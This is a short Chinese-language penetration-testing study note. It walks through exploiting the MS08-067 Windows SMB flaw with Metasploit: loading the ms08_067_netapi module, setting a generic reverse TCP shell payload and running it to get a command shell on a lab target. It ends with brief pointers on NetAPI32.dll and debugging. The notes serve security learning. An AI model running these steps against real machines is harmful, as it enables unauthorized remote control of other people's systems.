kali渗透测试与教学笔记7：

windows服务渗透攻击实战——MS08-067安全漏洞

进入msfconsole

search ms08_067

use exploit/windows/smb/ms_08_067_netapi

show payloads

set payload generic/shell_reverse_tcp

set targets ：注意不能按下图设置targets，有可能因为msf版本不同，targets编号不同，这里选择0，进行系统自动探测。

show options

show targets

设置各必要选项如下：

exploit开始攻击

成功后，可以进入靶机命令行

漏洞分析：

查看msf的攻击的代码/usr/share/metasploit-framework/modules/exploits/windows/smb/ms08_067_netapi.rb

可以发现漏洞文件是NetAPI32.dll，在c:\windows\system32\下

动态分析用OllyDBG.exe

难。。。。